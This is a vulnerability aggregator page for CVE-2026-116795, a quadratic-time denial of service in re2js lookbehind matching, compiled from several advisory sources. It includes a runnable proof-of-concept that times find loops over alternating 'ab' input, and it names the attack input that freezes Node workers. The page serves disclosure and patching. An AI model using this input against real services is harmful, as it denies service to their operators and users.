CVE-2026-116795
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.
- Record
CVE-2026-116795- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-1333
- Updated
- 2026-11-03
EUVDEUVD-2026-112268
7.5
RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.
- Record
EUVD-2026-112268- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-gg6h-894w-4m9c
7.5
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
Summary
Using the opt-in LOOKBEHINDS flag together with any repeated-matching API
(matcher().find() in a loop, matchAll(), split(), matcher().replaceAll())
causes quadratic-time (Θ(n²)) matching, contradicting the library's own
"linear time matching" guarantee. A single call with a 16,000-character input
takes 36.7–38.7 seconds of CPU.
Description
Root cause
In build/index.cjs, Machine.match:
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907
...
if (this.ncap === 0 && this.matched) break; // ~line 1953
Any pattern containing a lookbehind sets prog.numLb > 0, which forces the
scan to always restart at offset 0, regardless of the requested start
position — the lookbehind automaton is re-seeded and the whole input is
re-walked on every single find() call. The early-exit optimization that
would otherwise stop at the first match only fires when ncap === 0, but
every Matcher-based API (find/matchAll/split/replaceAll) always
requests ncap = 2 (one capture group slot) even for a captureless
lookbehind pattern — so the early exit never triggers through those APIs,
and the scan continues to the end of the input on every find.
A find-loop over k matches in an n-character string therefore costs k × Θ(n); for dense matches k ∝ n, giving Θ(n²) total.
Isolating control
Identical find-loop, identical input sizes, same 2-character literal pattern
shape — but without the LOOKBEHINDS flag:
| n | with LOOKBEHINDS (lookbehind pattern) | without (plain literal) | native JS RegExp lookbehind |
|---|---|---|---|
| 2,000 | 204–228 ms | 3 ms | 0 ms |
| 4,000 | 877–899 ms | 4 ms | 0 ms |
| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |
This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.
Impact
re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertisedLOOKBEHINDSfeature.- Realistic affected code paths: log/text processing that tokenizes or
redacts using a lookbehind-based pattern (
matchAll,split,replaceAllare the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content). - A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;
Node.js being single-threaded, this freezes the whole worker process for
the duration. No authentication or special pattern knowledge is required
from the attacker — ordinary alternating text (
"abababab...") triggers it.
Reproduction (copy-paste runnable)
create file poc.js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
// npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS …
- Record
GHSA-gg6h-894w-4m9c- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-1333
- Updated
- 2026-11-02
NVD
7.5
RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.
- Record
CVE-2026-116795- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407, CWE-1333
- Updated
- 2026-11-03
OSV
7.5
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
RE2JS is the JavaScript port of RE2, a regular expression engine that provides linear time matching. From 2.2.0 until 2.8.7, enabling LOOKBEHINDS and using repeated matching through matcher().find(), matchAll(), split(), or matcher().replaceAll() can cause quadratic total work. Machine.match restarts lookbehind scanning from offset zero for each requested start position, while Matcher-based APIs request capture slots that prevent the early exit used for captureless matching. Dense matches therefore repeatedly rescan the input, allowing attacker-influenced text to monopolize a single-threaded worker and deny service. This issue is fixed in version 2.8.7.
- Record
CVE-2026-116795- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333, CWE-407
- Updated
- 2026-11-04
OSVGHSA-gg6h-894w-4m9c
7.5
RE2JS: Quadratic-time denial of service in re2js lookbehind matching
Summary
Using the opt-in LOOKBEHINDS flag together with any repeated-matching API
(matcher().find() in a loop, matchAll(), split(), matcher().replaceAll())
causes quadratic-time (Θ(n²)) matching, contradicting the library's own
"linear time matching" guarantee. A single call with a 16,000-character input
takes 36.7–38.7 seconds of CPU.
Description
Root cause
In build/index.cjs, Machine.match:
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907
...
if (this.ncap === 0 && this.matched) break; // ~line 1953
Any pattern containing a lookbehind sets prog.numLb > 0, which forces the
scan to always restart at offset 0, regardless of the requested start
position — the lookbehind automaton is re-seeded and the whole input is
re-walked on every single find() call. The early-exit optimization that
would otherwise stop at the first match only fires when ncap === 0, but
every Matcher-based API (find/matchAll/split/replaceAll) always
requests ncap = 2 (one capture group slot) even for a captureless
lookbehind pattern — so the early exit never triggers through those APIs,
and the scan continues to the end of the input on every find.
A find-loop over k matches in an n-character string therefore costs k × Θ(n); for dense matches k ∝ n, giving Θ(n²) total.
Isolating control
Identical find-loop, identical input sizes, same 2-character literal pattern
shape — but without the LOOKBEHINDS flag:
| n | with LOOKBEHINDS (lookbehind pattern) | without (plain literal) | native JS RegExp lookbehind |
|---|---|---|---|
| 2,000 | 204–228 ms | 3 ms | 0 ms |
| 4,000 | 877–899 ms | 4 ms | 0 ms |
| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |
This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.
Impact
re2js's entire value proposition is being an RE2-style engine with linear-time, no-backtracking matching, specifically to resist algorithmic-complexity attacks that plague backtracking regex engines. This finding defeats that guarantee for any consumer using the advertisedLOOKBEHINDSfeature.- Realistic affected code paths: log/text processing that tokenizes or
redacts using a lookbehind-based pattern (
matchAll,split,replaceAllare the natural APIs for exactly this), applied to attacker-influenced text (user input, uploaded logs, scraped content). - A single ~16–32 KB request pins a CPU core for tens of seconds to minutes;
Node.js being single-threaded, this freezes the whole worker process for
the duration. No authentication or special pattern knowledge is required
from the attacker — ordinary alternating text (
"abababab...") triggers it.
Reproduction (copy-paste runnable)
create file poc.js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
// npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS …
- Record
GHSA-gg6h-894w-4m9c- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-1333, CWE-407
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-116795 No score
CVE-2026-116795 in re2js - Patched by Root
Root has patched CVE-2026-116795 in the re2js package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-116795- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
re2jsnpm |
2.2.0 up to 2.8.7 | 2.8.7 |
re2jsRoot:npm |
before 2.8.5-aikido.1 | 2.8.5-aikido.1 |
@rootio/re2jsRoot:npm |
before 2.8.5-root.io.1 | 2.8.5-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | EUVD, OSV | |
| references | CVE List, NVD | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-116795 is a high vulnerability (CVSS 7.5) in Le0pard Re2js, published October 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 40th percentile. Fixed in re2js 2.8.7.
References
github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c
github.com/le0pard/re2js/pull/59
github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395
github.com/le0pard/re2js/releases/tag/2.8.7
nvd.nist.gov/vuln/detail/CVE-2026-116795
github.com/advisories/GHSA-gg6h-894w-4m9c
github.com/CVEProject/cvelistV5/tree/main/cves/2026/116xxx/CVE-2026-116795.json
github.com/le0pard/re2js
Left out here: the rest of 2 source descriptions. The JSON record has them.